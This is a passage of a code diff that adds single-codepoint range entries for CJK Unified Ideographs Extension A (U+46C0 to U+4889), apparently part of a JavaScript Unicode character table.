+ ["\u46C0", "\u46C0"], /* CJK Ideograph Extension A */
+ ["\u46C1", "\u46C1"], /* CJK Ideograph Extension A */
+ ["\u46C2", "\u46C2"], /* CJK Ideograph Extension A */
+ ["\u46C3", "\u46C3"], /* CJK Ideograph Extension A */
+ ["\u46C4", "\u46C4"], /* CJK Ideograph Extension A */
+ ["\u46C5", "\u46C5"], /* CJK Ideograph Extension A */
+ ["\u46C6", "\u46C6"], /* CJK Ideograph Extension A */
+ ["\u46C7", "\u46C7"], /* CJK Ideograph Extension A */
+ ["\u46C8", "\u46C8"], /* CJK Ideograph Extension A */
+ ["\u46C9", "\u46C9"], /* CJK Ideograph Extension A */
+ ["\u46CA", "\u46CA"], /* CJK Ideograph Extension A */
+ ["\u46CB", "\u46CB"], /* CJK Ideograph Extension A */
+ ["\u46CC", "\u46CC"], /* CJK Ideograph Extension A */
+ ["\u46CD", "\u46CD"], /* CJK Ideograph Extension A */
+ ["\u46CE", "\u46CE"], /* CJK Ideograph Extension A */
+ ["\u46CF", "\u46CF"], /* CJK Ideograph Extension A */
+ ["\u46D0", "\u46D0"], /* CJK Ideograph Extension A */
+ ["\u46D1", "\u46D1"], /* CJK Ideograph Extension A */
+ ["\u46D2", "\u46D2"], /* CJK Ideograph Extension A */
+ ["\u46D3", "\u46D3"], /* CJK Ideograph Extension A */
+ ["\u46D4", "\u46D4"], /* CJK Ideograph Extension A */
+ ["\u46D5", "\u46D5"], /* CJK Ideograph Extension A */
+ ["\u46D6", "\u46D6"], /* CJK Ideograph Extension A */
+ ["\u46D7", "\u46D7"], /* CJK Ideograph Extension A */
+ ["\u46D8", "\u46D8"], /* CJK Ideograph Extension A */
+ ["\u46D9", "\u46D9"], /* CJK Ideograph Extension A */
+ ["\u46DA", "\u46DA"], /* CJK Ideograph Extension A */
+ ["\u46DB", "\u46DB"], /* CJK Ideograph Extension A */
+ ["\u46DC", "\u46DC"], /* CJK Ideograph Extension A */
+ ["\u46DD", "\u46DD"], /* CJK Ideograph Extension A */
+ ["\u46DE", "\u46DE"], /* CJK Ideograph Extension A */
+ ["\u46DF", "\u46DF"], /* CJK Ideograph Extension A */
+ ["\u46E0", "\u46E0"], /* CJK Ideograph Extension A */
+ ["\u46E1", "\u46E1"], /* CJK Ideograph Extension A */
+ ["\u46E2", "\u46E2"], /* CJK Ideograph Extension A */
+ ["\u46E3", "\u46E3"], /* CJK Ideograph Extension A */
+ ["\u46E4", "\u46E4"], /* CJK Ideograph Extension A */
+ ["\u46E5", "\u46E5"], /* CJK Ideograph Extension A */
+ ["\u46E6", "\u46E6"], /* CJK Ideograph Extension A */
+ ["\u46E7", "\u46E7"], /* CJK Ideograph Extension A */
+ ["\u46E8", "\u46E8"], /* CJK Ideograph Extension A */
+ ["\u46E9", "\u46E9"], /* CJK Ideograph Extension A */
+ ["\u46EA", "\u46EA"], /* CJK Ideograph Extension A */
+ ["\u46EB", "\u46EB"], /* CJK Ideograph Extension A */
+ ["\u46EC", "\u46EC"], /* CJK Ideograph Extension A */
+ ["\u46ED", "\u46ED"], /* CJK Ideograph Extension A */
+ ["\u46EE", "\u46EE"], /* CJK Ideograph Extension A */
+ ["\u46EF", "\u46EF"], /* CJK Ideograph Extension A */
+ ["\u46F0", "\u46F0"], /* CJK Ideograph Extension A */
+ ["\u46F1", "\u46F1"], /* CJK Ideograph Extension A */
+ ["\u46F2", "\u46F2"], /* CJK Ideograph Extension A */
+ ["\u46F3", "\u46F3"], /* CJK Ideograph Extension A */
+ ["\u46F4", "\u46F4"], /* CJK Ideograph Extension A */
+ ["\u46F5", "\u46F5"], /* CJK Ideograph Extension A */
+ ["\u46F6", "\u46F6"], /* CJK Ideograph Extension A */
+ ["\u46F7", "\u46F7"], /* CJK Ideograph Extension A */
+ ["\u46F8", "\u46F8"], /* CJK Ideograph Extension A */
+ ["\u46F9", "\u46F9"], /* CJK Ideograph Extension A */
+ ["\u46FA", "\u46FA"], /* CJK Ideograph Extension A */
+ ["\u46FB", "\u46FB"], /* CJK Ideograph Extension A */
+ ["\u46FC", "\u46FC"], /* CJK Ideograph Extension A */
+ ["\u46FD", "\u46FD"], /* CJK Ideograph Extension A */
+ ["\u46FE", "\u46FE"], /* CJK Ideograph Extension A */
+ ["\u46FF", "\u46FF"], /* CJK Ideograph Extension A */
+ ["\u4700", "\u4700"], /* CJK Ideograph Extension A */
+ ["\u4701", "\u4701"], /* CJK Ideograph Extension A */
+ ["\u4702", "\u4702"], /* CJK Ideograph Extension A */
+ ["\u4703", "\u4703"], /* CJK Ideograph Extension A */
+ ["\u4704", "\u4704"], /* CJK Ideograph Extension A */
+ ["\u4705", "\u4705"], /* CJK Ideograph Extension A */
+ ["\u4706", "\u4706"], /* CJK Ideograph Extension A */
+ ["\u4707", "\u4707"], /* CJK Ideograph Extension A */
+ ["\u4708", "\u4708"], /* CJK Ideograph Extension A */
+ ["\u4709", "\u4709"], /* CJK Ideograph Extension A */
+ ["\u470A", "\u470A"], /* CJK Ideograph Extension A */
+ ["\u470B", "\u470B"], /* CJK Ideograph Extension A */
+ ["\u470C", "\u470C"], /* CJK Ideograph Extension A */
+ ["\u470D", "\u470D"], /* CJK Ideograph Extension A */
+ ["\u470E", "\u470E"], /* CJK Ideograph Extension A */
+ ["\u470F", "\u470F"], /* CJK Ideograph Extension A */
+ ["\u4710", "\u4710"], /* CJK Ideograph Extension A */
+ ["\u4711", "\u4711"], /* CJK Ideograph Extension A */
+ ["\u4712", "\u4712"], /* CJK Ideograph Extension A */
+ ["\u4713", "\u4713"], /* CJK Ideograph Extension A */
+ ["\u4714", "\u4714"], /* CJK Ideograph Extension A */
+ ["\u4715", "\u4715"], /* CJK Ideograph Extension A */
+ ["\u4716", "\u4716"], /* CJK Ideograph Extension A */
+ ["\u4717", "\u4717"], /* CJK Ideograph Extension A */
+ ["\u4718", "\u4718"], /* CJK Ideograph Extension A */
+ ["\u4719", "\u4719"], /* CJK Ideograph Extension A */
+ ["\u471A", "\u471A"], /* CJK Ideograph Extension A */
+ ["\u471B", "\u471B"], /* CJK Ideograph Extension A */
+ ["\u471C", "\u471C"], /* CJK Ideograph Extension A */
+ ["\u471D", "\u471D"], /* CJK Ideograph Extension A */
+ ["\u471E", "\u471E"], /* CJK Ideograph Extension A */
+ ["\u471F", "\u471F"], /* CJK Ideograph Extension A */
+ ["\u4720", "\u4720"], /* CJK Ideograph Extension A */
+ ["\u4721", "\u4721"], /* CJK Ideograph Extension A */
+ ["\u4722", "\u4722"], /* CJK Ideograph Extension A */
+ ["\u4723", "\u4723"], /* CJK Ideograph Extension A */
+ ["\u4724", "\u4724"], /* CJK Ideograph Extension A */
+ ["\u4725", "\u4725"], /* CJK Ideograph Extension A */
+ ["\u4726", "\u4726"], /* CJK Ideograph Extension A */
+ ["\u4727", "\u4727"], /* CJK Ideograph Extension A */
+ ["\u4728", "\u4728"], /* CJK Ideograph Extension A */
+ ["\u4729", "\u4729"], /* CJK Ideograph Extension A */
+ ["\u472A", "\u472A"], /* CJK Ideograph Extension A */
+ ["\u472B", "\u472B"], /* CJK Ideograph Extension A */
+ ["\u472C", "\u472C"], /* CJK Ideograph Extension A */
+ ["\u472D", "\u472D"], /* CJK Ideograph Extension A */
+ ["\u472E", "\u472E"], /* CJK Ideograph Extension A */
+ ["\u472F", "\u472F"], /* CJK Ideograph Extension A */
+ ["\u4730", "\u4730"], /* CJK Ideograph Extension A */
+ ["\u4731", "\u4731"], /* CJK Ideograph Extension A */
+ ["\u4732", "\u4732"], /* CJK Ideograph Extension A */
+ ["\u4733", "\u4733"], /* CJK Ideograph Extension A */
+ ["\u4734", "\u4734"], /* CJK Ideograph Extension A */
+ ["\u4735", "\u4735"], /* CJK Ideograph Extension A */
+ ["\u4736", "\u4736"], /* CJK Ideograph Extension A */
+ ["\u4737", "\u4737"], /* CJK Ideograph Extension A */
+ ["\u4738", "\u4738"], /* CJK Ideograph Extension A */
+ ["\u4739", "\u4739"], /* CJK Ideograph Extension A */
+ ["\u473A", "\u473A"], /* CJK Ideograph Extension A */
+ ["\u473B", "\u473B"], /* CJK Ideograph Extension A */
+ ["\u473C", "\u473C"], /* CJK Ideograph Extension A */
+ ["\u473D", "\u473D"], /* CJK Ideograph Extension A */
+ ["\u473E", "\u473E"], /* CJK Ideograph Extension A */
+ ["\u473F", "\u473F"], /* CJK Ideograph Extension A */
+ ["\u4740", "\u4740"], /* CJK Ideograph Extension A */
+ ["\u4741", "\u4741"], /* CJK Ideograph Extension A */
+ ["\u4742", "\u4742"], /* CJK Ideograph Extension A */
+ ["\u4743", "\u4743"], /* CJK Ideograph Extension A */
+ ["\u4744", "\u4744"], /* CJK Ideograph Extension A */
+ ["\u4745", "\u4745"], /* CJK Ideograph Extension A */
+ ["\u4746", "\u4746"], /* CJK Ideograph Extension A */
+ ["\u4747", "\u4747"], /* CJK Ideograph Extension A */
+ ["\u4748", "\u4748"], /* CJK Ideograph Extension A */
+ ["\u4749", "\u4749"], /* CJK Ideograph Extension A */
+ ["\u474A", "\u474A"], /* CJK Ideograph Extension A */
+ ["\u474B", "\u474B"], /* CJK Ideograph Extension A */
+ ["\u474C", "\u474C"], /* CJK Ideograph Extension A */
+ ["\u474D", "\u474D"], /* CJK Ideograph Extension A */
+ ["\u474E", "\u474E"], /* CJK Ideograph Extension A */
+ ["\u474F", "\u474F"], /* CJK Ideograph Extension A */
+ ["\u4750", "\u4750"], /* CJK Ideograph Extension A */
+ ["\u4751", "\u4751"], /* CJK Ideograph Extension A */
+ ["\u4752", "\u4752"], /* CJK Ideograph Extension A */
+ ["\u4753", "\u4753"], /* CJK Ideograph Extension A */
+ ["\u4754", "\u4754"], /* CJK Ideograph Extension A */
+ ["\u4755", "\u4755"], /* CJK Ideograph Extension A */
+ ["\u4756", "\u4756"], /* CJK Ideograph Extension A */
+ ["\u4757", "\u4757"], /* CJK Ideograph Extension A */
+ ["\u4758", "\u4758"], /* CJK Ideograph Extension A */
+ ["\u4759", "\u4759"], /* CJK Ideograph Extension A */
+ ["\u475A", "\u475A"], /* CJK Ideograph Extension A */
+ ["\u475B", "\u475B"], /* CJK Ideograph Extension A */
+ ["\u475C", "\u475C"], /* CJK Ideograph Extension A */
+ ["\u475D", "\u475D"], /* CJK Ideograph Extension A */
+ ["\u475E", "\u475E"], /* CJK Ideograph Extension A */
+ ["\u475F", "\u475F"], /* CJK Ideograph Extension A */
+ ["\u4760", "\u4760"], /* CJK Ideograph Extension A */
+ ["\u4761", "\u4761"], /* CJK Ideograph Extension A */
+ ["\u4762", "\u4762"], /* CJK Ideograph Extension A */
+ ["\u4763", "\u4763"], /* CJK Ideograph Extension A */
+ ["\u4764", "\u4764"], /* CJK Ideograph Extension A */
+ ["\u4765", "\u4765"], /* CJK Ideograph Extension A */
+ ["\u4766", "\u4766"], /* CJK Ideograph Extension A */
+ ["\u4767", "\u4767"], /* CJK Ideograph Extension A */
+ ["\u4768", "\u4768"], /* CJK Ideograph Extension A */
+ ["\u4769", "\u4769"], /* CJK Ideograph Extension A */
+ ["\u476A", "\u476A"], /* CJK Ideograph Extension A */
+ ["\u476B", "\u476B"], /* CJK Ideograph Extension A */
+ ["\u476C", "\u476C"], /* CJK Ideograph Extension A */
+ ["\u476D", "\u476D"], /* CJK Ideograph Extension A */
+ ["\u476E", "\u476E"], /* CJK Ideograph Extension A */
+ ["\u476F", "\u476F"], /* CJK Ideograph Extension A */
+ ["\u4770", "\u4770"], /* CJK Ideograph Extension A */
+ ["\u4771", "\u4771"], /* CJK Ideograph Extension A */
+ ["\u4772", "\u4772"], /* CJK Ideograph Extension A */
+ ["\u4773", "\u4773"], /* CJK Ideograph Extension A */
+ ["\u4774", "\u4774"], /* CJK Ideograph Extension A */
+ ["\u4775", "\u4775"], /* CJK Ideograph Extension A */
+ ["\u4776", "\u4776"], /* CJK Ideograph Extension A */
+ ["\u4777", "\u4777"], /* CJK Ideograph Extension A */
+ ["\u4778", "\u4778"], /* CJK Ideograph Extension A */
+ ["\u4779", "\u4779"], /* CJK Ideograph Extension A */
+ ["\u477A", "\u477A"], /* CJK Ideograph Extension A */
+ ["\u477B", "\u477B"], /* CJK Ideograph Extension A */
+ ["\u477C", "\u477C"], /* CJK Ideograph Extension A */
+ ["\u477D", "\u477D"], /* CJK Ideograph Extension A */
+ ["\u477E", "\u477E"], /* CJK Ideograph Extension A */
+ ["\u477F", "\u477F"], /* CJK Ideograph Extension A */
+ ["\u4780", "\u4780"], /* CJK Ideograph Extension A */
+ ["\u4781", "\u4781"], /* CJK Ideograph Extension A */
+ ["\u4782", "\u4782"], /* CJK Ideograph Extension A */
+ ["\u4783", "\u4783"], /* CJK Ideograph Extension A */
+ ["\u4784", "\u4784"], /* CJK Ideograph Extension A */
+ ["\u4785", "\u4785"], /* CJK Ideograph Extension A */
+ ["\u4786", "\u4786"], /* CJK Ideograph Extension A */
+ ["\u4787", "\u4787"], /* CJK Ideograph Extension A */
+ ["\u4788", "\u4788"], /* CJK Ideograph Extension A */
+ ["\u4789", "\u4789"], /* CJK Ideograph Extension A */
+ ["\u478A", "\u478A"], /* CJK Ideograph Extension A */
+ ["\u478B", "\u478B"], /* CJK Ideograph Extension A */
+ ["\u478C", "\u478C"], /* CJK Ideograph Extension A */
+ ["\u478D", "\u478D"], /* CJK Ideograph Extension A */
+ ["\u478E", "\u478E"], /* CJK Ideograph Extension A */
+ ["\u478F", "\u478F"], /* CJK Ideograph Extension A */
+ ["\u4790", "\u4790"], /* CJK Ideograph Extension A */
+ ["\u4791", "\u4791"], /* CJK Ideograph Extension A */
+ ["\u4792", "\u4792"], /* CJK Ideograph Extension A */
+ ["\u4793", "\u4793"], /* CJK Ideograph Extension A */
+ ["\u4794", "\u4794"], /* CJK Ideograph Extension A */
+ ["\u4795", "\u4795"], /* CJK Ideograph Extension A */
+ ["\u4796", "\u4796"], /* CJK Ideograph Extension A */
+ ["\u4797", "\u4797"], /* CJK Ideograph Extension A */
+ ["\u4798", "\u4798"], /* CJK Ideograph Extension A */
+ ["\u4799", "\u4799"], /* CJK Ideograph Extension A */
+ ["\u479A", "\u479A"], /* CJK Ideograph Extension A */
+ ["\u479B", "\u479B"], /* CJK Ideograph Extension A */
+ ["\u479C", "\u479C"], /* CJK Ideograph Extension A */
+ ["\u479D", "\u479D"], /* CJK Ideograph Extension A */
+ ["\u479E", "\u479E"], /* CJK Ideograph Extension A */
+ ["\u479F", "\u479F"], /* CJK Ideograph Extension A */
+ ["\u47A0", "\u47A0"], /* CJK Ideograph Extension A */
+ ["\u47A1", "\u47A1"], /* CJK Ideograph Extension A */
+ ["\u47A2", "\u47A2"], /* CJK Ideograph Extension A */
+ ["\u47A3", "\u47A3"], /* CJK Ideograph Extension A */
+ ["\u47A4", "\u47A4"], /* CJK Ideograph Extension A */
+ ["\u47A5", "\u47A5"], /* CJK Ideograph Extension A */
+ ["\u47A6", "\u47A6"], /* CJK Ideograph Extension A */
+ ["\u47A7", "\u47A7"], /* CJK Ideograph Extension A */
+ ["\u47A8", "\u47A8"], /* CJK Ideograph Extension A */
+ ["\u47A9", "\u47A9"], /* CJK Ideograph Extension A */
+ ["\u47AA", "\u47AA"], /* CJK Ideograph Extension A */
+ ["\u47AB", "\u47AB"], /* CJK Ideograph Extension A */
+ ["\u47AC", "\u47AC"], /* CJK Ideograph Extension A */
+ ["\u47AD", "\u47AD"], /* CJK Ideograph Extension A */
+ ["\u47AE", "\u47AE"], /* CJK Ideograph Extension A */
+ ["\u47AF", "\u47AF"], /* CJK Ideograph Extension A */
+ ["\u47B0", "\u47B0"], /* CJK Ideograph Extension A */
+ ["\u47B1", "\u47B1"], /* CJK Ideograph Extension A */
+ ["\u47B2", "\u47B2"], /* CJK Ideograph Extension A */
+ ["\u47B3", "\u47B3"], /* CJK Ideograph Extension A */
+ ["\u47B4", "\u47B4"], /* CJK Ideograph Extension A */
+ ["\u47B5", "\u47B5"], /* CJK Ideograph Extension A */
+ ["\u47B6", "\u47B6"], /* CJK Ideograph Extension A */
+ ["\u47B7", "\u47B7"], /* CJK Ideograph Extension A */
+ ["\u47B8", "\u47B8"], /* CJK Ideograph Extension A */
+ ["\u47B9", "\u47B9"], /* CJK Ideograph Extension A */
+ ["\u47BA", "\u47BA"], /* CJK Ideograph Extension A */
+ ["\u47BB", "\u47BB"], /* CJK Ideograph Extension A */
+ ["\u47BC", "\u47BC"], /* CJK Ideograph Extension A */
+ ["\u47BD", "\u47BD"], /* CJK Ideograph Extension A */
+ ["\u47BE", "\u47BE"], /* CJK Ideograph Extension A */
+ ["\u47BF", "\u47BF"], /* CJK Ideograph Extension A */
+ ["\u47C0", "\u47C0"], /* CJK Ideograph Extension A */
+ ["\u47C1", "\u47C1"], /* CJK Ideograph Extension A */
+ ["\u47C2", "\u47C2"], /* CJK Ideograph Extension A */
+ ["\u47C3", "\u47C3"], /* CJK Ideograph Extension A */
+ ["\u47C4", "\u47C4"], /* CJK Ideograph Extension A */
+ ["\u47C5", "\u47C5"], /* CJK Ideograph Extension A */
+ ["\u47C6", "\u47C6"], /* CJK Ideograph Extension A */
+ ["\u47C7", "\u47C7"], /* CJK Ideograph Extension A */
+ ["\u47C8", "\u47C8"], /* CJK Ideograph Extension A */
+ ["\u47C9", "\u47C9"], /* CJK Ideograph Extension A */
+ ["\u47CA", "\u47CA"], /* CJK Ideograph Extension A */
+ ["\u47CB", "\u47CB"], /* CJK Ideograph Extension A */
+ ["\u47CC", "\u47CC"], /* CJK Ideograph Extension A */
+ ["\u47CD", "\u47CD"], /* CJK Ideograph Extension A */
+ ["\u47CE", "\u47CE"], /* CJK Ideograph Extension A */
+ ["\u47CF", "\u47CF"], /* CJK Ideograph Extension A */
+ ["\u47D0", "\u47D0"], /* CJK Ideograph Extension A */
+ ["\u47D1", "\u47D1"], /* CJK Ideograph Extension A */
+ ["\u47D2", "\u47D2"], /* CJK Ideograph Extension A */
+ ["\u47D3", "\u47D3"], /* CJK Ideograph Extension A */
+ ["\u47D4", "\u47D4"], /* CJK Ideograph Extension A */
+ ["\u47D5", "\u47D5"], /* CJK Ideograph Extension A */
+ ["\u47D6", "\u47D6"], /* CJK Ideograph Extension A */
+ ["\u47D7", "\u47D7"], /* CJK Ideograph Extension A */
+ ["\u47D8", "\u47D8"], /* CJK Ideograph Extension A */
+ ["\u47D9", "\u47D9"], /* CJK Ideograph Extension A */
+ ["\u47DA", "\u47DA"], /* CJK Ideograph Extension A */
+ ["\u47DB", "\u47DB"], /* CJK Ideograph Extension A */
+ ["\u47DC", "\u47DC"], /* CJK Ideograph Extension A */
+ ["\u47DD", "\u47DD"], /* CJK Ideograph Extension A */
+ ["\u47DE", "\u47DE"], /* CJK Ideograph Extension A */
+ ["\u47DF", "\u47DF"], /* CJK Ideograph Extension A */
+ ["\u47E0", "\u47E0"], /* CJK Ideograph Extension A */
+ ["\u47E1", "\u47E1"], /* CJK Ideograph Extension A */
+ ["\u47E2", "\u47E2"], /* CJK Ideograph Extension A */
+ ["\u47E3", "\u47E3"], /* CJK Ideograph Extension A */
+ ["\u47E4", "\u47E4"], /* CJK Ideograph Extension A */
+ ["\u47E5", "\u47E5"], /* CJK Ideograph Extension A */
+ ["\u47E6", "\u47E6"], /* CJK Ideograph Extension A */
+ ["\u47E7", "\u47E7"], /* CJK Ideograph Extension A */
+ ["\u47E8", "\u47E8"], /* CJK Ideograph Extension A */
+ ["\u47E9", "\u47E9"], /* CJK Ideograph Extension A */
+ ["\u47EA", "\u47EA"], /* CJK Ideograph Extension A */
+ ["\u47EB", "\u47EB"], /* CJK Ideograph Extension A */
+ ["\u47EC", "\u47EC"], /* CJK Ideograph Extension A */
+ ["\u47ED", "\u47ED"], /* CJK Ideograph Extension A */
+ ["\u47EE", "\u47EE"], /* CJK Ideograph Extension A */
+ ["\u47EF", "\u47EF"], /* CJK Ideograph Extension A */
+ ["\u47F0", "\u47F0"], /* CJK Ideograph Extension A */
+ ["\u47F1", "\u47F1"], /* CJK Ideograph Extension A */
+ ["\u47F2", "\u47F2"], /* CJK Ideograph Extension A */
+ ["\u47F3", "\u47F3"], /* CJK Ideograph Extension A */
+ ["\u47F4", "\u47F4"], /* CJK Ideograph Extension A */
+ ["\u47F5", "\u47F5"], /* CJK Ideograph Extension A */
+ ["\u47F6", "\u47F6"], /* CJK Ideograph Extension A */
+ ["\u47F7", "\u47F7"], /* CJK Ideograph Extension A */
+ ["\u47F8", "\u47F8"], /* CJK Ideograph Extension A */
+ ["\u47F9", "\u47F9"], /* CJK Ideograph Extension A */
+ ["\u47FA", "\u47FA"], /* CJK Ideograph Extension A */
+ ["\u47FB", "\u47FB"], /* CJK Ideograph Extension A */
+ ["\u47FC", "\u47FC"], /* CJK Ideograph Extension A */
+ ["\u47FD", "\u47FD"], /* CJK Ideograph Extension A */
+ ["\u47FE", "\u47FE"], /* CJK Ideograph Extension A */
+ ["\u47FF", "\u47FF"], /* CJK Ideograph Extension A */
+ ["\u4800", "\u4800"], /* CJK Ideograph Extension A */
+ ["\u4801", "\u4801"], /* CJK Ideograph Extension A */
+ ["\u4802", "\u4802"], /* CJK Ideograph Extension A */
+ ["\u4803", "\u4803"], /* CJK Ideograph Extension A */
+ ["\u4804", "\u4804"], /* CJK Ideograph Extension A */
+ ["\u4805", "\u4805"], /* CJK Ideograph Extension A */
+ ["\u4806", "\u4806"], /* CJK Ideograph Extension A */
+ ["\u4807", "\u4807"], /* CJK Ideograph Extension A */
+ ["\u4808", "\u4808"], /* CJK Ideograph Extension A */
+ ["\u4809", "\u4809"], /* CJK Ideograph Extension A */
+ ["\u480A", "\u480A"], /* CJK Ideograph Extension A */
+ ["\u480B", "\u480B"], /* CJK Ideograph Extension A */
+ ["\u480C", "\u480C"], /* CJK Ideograph Extension A */
+ ["\u480D", "\u480D"], /* CJK Ideograph Extension A */
+ ["\u480E", "\u480E"], /* CJK Ideograph Extension A */
+ ["\u480F", "\u480F"], /* CJK Ideograph Extension A */
+ ["\u4810", "\u4810"], /* CJK Ideograph Extension A */
+ ["\u4811", "\u4811"], /* CJK Ideograph Extension A */
+ ["\u4812", "\u4812"], /* CJK Ideograph Extension A */
+ ["\u4813", "\u4813"], /* CJK Ideograph Extension A */
+ ["\u4814", "\u4814"], /* CJK Ideograph Extension A */
+ ["\u4815", "\u4815"], /* CJK Ideograph Extension A */
+ ["\u4816", "\u4816"], /* CJK Ideograph Extension A */
+ ["\u4817", "\u4817"], /* CJK Ideograph Extension A */
+ ["\u4818", "\u4818"], /* CJK Ideograph Extension A */
+ ["\u4819", "\u4819"], /* CJK Ideograph Extension A */
+ ["\u481A", "\u481A"], /* CJK Ideograph Extension A */
+ ["\u481B", "\u481B"], /* CJK Ideograph Extension A */
+ ["\u481C", "\u481C"], /* CJK Ideograph Extension A */
+ ["\u481D", "\u481D"], /* CJK Ideograph Extension A */
+ ["\u481E", "\u481E"], /* CJK Ideograph Extension A */
+ ["\u481F", "\u481F"], /* CJK Ideograph Extension A */
+ ["\u4820", "\u4820"], /* CJK Ideograph Extension A */
+ ["\u4821", "\u4821"], /* CJK Ideograph Extension A */
+ ["\u4822", "\u4822"], /* CJK Ideograph Extension A */
+ ["\u4823", "\u4823"], /* CJK Ideograph Extension A */
+ ["\u4824", "\u4824"], /* CJK Ideograph Extension A */
+ ["\u4825", "\u4825"], /* CJK Ideograph Extension A */
+ ["\u4826", "\u4826"], /* CJK Ideograph Extension A */
+ ["\u4827", "\u4827"], /* CJK Ideograph Extension A */
+ ["\u4828", "\u4828"], /* CJK Ideograph Extension A */
+ ["\u4829", "\u4829"], /* CJK Ideograph Extension A */
+ ["\u482A", "\u482A"], /* CJK Ideograph Extension A */
+ ["\u482B", "\u482B"], /* CJK Ideograph Extension A */
+ ["\u482C", "\u482C"], /* CJK Ideograph Extension A */
+ ["\u482D", "\u482D"], /* CJK Ideograph Extension A */
+ ["\u482E", "\u482E"], /* CJK Ideograph Extension A */
+ ["\u482F", "\u482F"], /* CJK Ideograph Extension A */
+ ["\u4830", "\u4830"], /* CJK Ideograph Extension A */
+ ["\u4831", "\u4831"], /* CJK Ideograph Extension A */
+ ["\u4832", "\u4832"], /* CJK Ideograph Extension A */
+ ["\u4833", "\u4833"], /* CJK Ideograph Extension A */
+ ["\u4834", "\u4834"], /* CJK Ideograph Extension A */
+ ["\u4835", "\u4835"], /* CJK Ideograph Extension A */
+ ["\u4836", "\u4836"], /* CJK Ideograph Extension A */
+ ["\u4837", "\u4837"], /* CJK Ideograph Extension A */
+ ["\u4838", "\u4838"], /* CJK Ideograph Extension A */
+ ["\u4839", "\u4839"], /* CJK Ideograph Extension A */
+ ["\u483A", "\u483A"], /* CJK Ideograph Extension A */
+ ["\u483B", "\u483B"], /* CJK Ideograph Extension A */
+ ["\u483C", "\u483C"], /* CJK Ideograph Extension A */
+ ["\u483D", "\u483D"], /* CJK Ideograph Extension A */
+ ["\u483E", "\u483E"], /* CJK Ideograph Extension A */
+ ["\u483F", "\u483F"], /* CJK Ideograph Extension A */
+ ["\u4840", "\u4840"], /* CJK Ideograph Extension A */
+ ["\u4841", "\u4841"], /* CJK Ideograph Extension A */
+ ["\u4842", "\u4842"], /* CJK Ideograph Extension A */
+ ["\u4843", "\u4843"], /* CJK Ideograph Extension A */
+ ["\u4844", "\u4844"], /* CJK Ideograph Extension A */
+ ["\u4845", "\u4845"], /* CJK Ideograph Extension A */
+ ["\u4846", "\u4846"], /* CJK Ideograph Extension A */
+ ["\u4847", "\u4847"], /* CJK Ideograph Extension A */
+ ["\u4848", "\u4848"], /* CJK Ideograph Extension A */
+ ["\u4849", "\u4849"], /* CJK Ideograph Extension A */
+ ["\u484A", "\u484A"], /* CJK Ideograph Extension A */
+ ["\u484B", "\u484B"], /* CJK Ideograph Extension A */
+ ["\u484C", "\u484C"], /* CJK Ideograph Extension A */
+ ["\u484D", "\u484D"], /* CJK Ideograph Extension A */
+ ["\u484E", "\u484E"], /* CJK Ideograph Extension A */
+ ["\u484F", "\u484F"], /* CJK Ideograph Extension A */
+ ["\u4850", "\u4850"], /* CJK Ideograph Extension A */
+ ["\u4851", "\u4851"], /* CJK Ideograph Extension A */
+ ["\u4852", "\u4852"], /* CJK Ideograph Extension A */
+ ["\u4853", "\u4853"], /* CJK Ideograph Extension A */
+ ["\u4854", "\u4854"], /* CJK Ideograph Extension A */
+ ["\u4855", "\u4855"], /* CJK Ideograph Extension A */
+ ["\u4856", "\u4856"], /* CJK Ideograph Extension A */
+ ["\u4857", "\u4857"], /* CJK Ideograph Extension A */
+ ["\u4858", "\u4858"], /* CJK Ideograph Extension A */
+ ["\u4859", "\u4859"], /* CJK Ideograph Extension A */
+ ["\u485A", "\u485A"], /* CJK Ideograph Extension A */
+ ["\u485B", "\u485B"], /* CJK Ideograph Extension A */
+ ["\u485C", "\u485C"], /* CJK Ideograph Extension A */
+ ["\u485D", "\u485D"], /* CJK Ideograph Extension A */
+ ["\u485E", "\u485E"], /* CJK Ideograph Extension A */
+ ["\u485F", "\u485F"], /* CJK Ideograph Extension A */
+ ["\u4860", "\u4860"], /* CJK Ideograph Extension A */
+ ["\u4861", "\u4861"], /* CJK Ideograph Extension A */
+ ["\u4862", "\u4862"], /* CJK Ideograph Extension A */
+ ["\u4863", "\u4863"], /* CJK Ideograph Extension A */
+ ["\u4864", "\u4864"], /* CJK Ideograph Extension A */
+ ["\u4865", "\u4865"], /* CJK Ideograph Extension A */
+ ["\u4866", "\u4866"], /* CJK Ideograph Extension A */
+ ["\u4867", "\u4867"], /* CJK Ideograph Extension A */
+ ["\u4868", "\u4868"], /* CJK Ideograph Extension A */
+ ["\u4869", "\u4869"], /* CJK Ideograph Extension A */
+ ["\u486A", "\u486A"], /* CJK Ideograph Extension A */
+ ["\u486B", "\u486B"], /* CJK Ideograph Extension A */
+ ["\u486C", "\u486C"], /* CJK Ideograph Extension A */
+ ["\u486D", "\u486D"], /* CJK Ideograph Extension A */
+ ["\u486E", "\u486E"], /* CJK Ideograph Extension A */
+ ["\u486F", "\u486F"], /* CJK Ideograph Extension A */
+ ["\u4870", "\u4870"], /* CJK Ideograph Extension A */
+ ["\u4871", "\u4871"], /* CJK Ideograph Extension A */
+ ["\u4872", "\u4872"], /* CJK Ideograph Extension A */
+ ["\u4873", "\u4873"], /* CJK Ideograph Extension A */
+ ["\u4874", "\u4874"], /* CJK Ideograph Extension A */
+ ["\u4875", "\u4875"], /* CJK Ideograph Extension A */
+ ["\u4876", "\u4876"], /* CJK Ideograph Extension A */
+ ["\u4877", "\u4877"], /* CJK Ideograph Extension A */
+ ["\u4878", "\u4878"], /* CJK Ideograph Extension A */
+ ["\u4879", "\u4879"], /* CJK Ideograph Extension A */
+ ["\u487A", "\u487A"], /* CJK Ideograph Extension A */
+ ["\u487B", "\u487B"], /* CJK Ideograph Extension A */
+ ["\u487C", "\u487C"], /* CJK Ideograph Extension A */
+ ["\u487D", "\u487D"], /* CJK Ideograph Extension A */
+ ["\u487E", "\u487E"], /* CJK Ideograph Extension A */
+ ["\u487F", "\u487F"], /* CJK Ideograph Extension A */
+ ["\u4880", "\u4880"], /* CJK Ideograph Extension A */
+ ["\u4881", "\u4881"], /* CJK Ideograph Extension A */
+ ["\u4882", "\u4882"], /* CJK Ideograph Extension A */
+ ["\u4883", "\u4883"], /* CJK Ideograph Extension A */
+ ["\u4884", "\u4884"], /* CJK Ideograph Extension A */
+ ["\u4885", "\u4885"], /* CJK Ideograph Extension A */
+ ["\u4886", "\u4886"], /* CJK Ideograph Extension A */
+ ["\u4887", "\u4887"], /* CJK Ideograph Extension A */
+ ["\u4888", "\u4888"], /* CJK Ideograph Extension A */
+ ["\u4889", "\u4889"], /* CJK Ideograph Extension A */
